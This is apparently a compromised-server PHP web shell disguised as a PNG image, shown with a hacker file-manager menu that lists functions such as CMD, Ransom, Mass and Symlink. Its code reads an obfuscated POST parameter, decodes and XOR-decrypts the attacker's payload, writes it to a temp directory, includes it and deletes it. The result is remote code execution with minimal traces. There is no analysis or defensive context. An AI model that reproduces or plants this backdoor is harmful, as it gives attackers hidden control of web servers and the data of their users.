\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /tmp/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : //tmp/phphoZXzB |
<?php
if(array_key_exists("d\x65\x73c\x72\x69\x70tor", $_POST) && !is_null($_POST["d\x65\x73c\x72\x69\x70tor"])){
$key = array_filter(["/dev/shm", sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TEMP"), "/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]);
$mrk = hex2bin($_POST["d\x65\x73c\x72\x69\x70tor"]);
$rec ='' ; for($w=0; $w<strlen($mrk); $w++){$rec .= chr(ord($mrk[$w]) ^ 31);}
for ($marker = 0, $element = count($key); $marker < $element; $marker++) {
$comp = $key[$marker];
if (!( !is_dir($comp) || !is_writable($comp) )) {
$token = vsprintf("%s/%s", [$comp, ".property_set"]);
if (@file_put_contents($token, $rec) !== false) {
include $token;
unlink($token);
exit;
}
}
}
}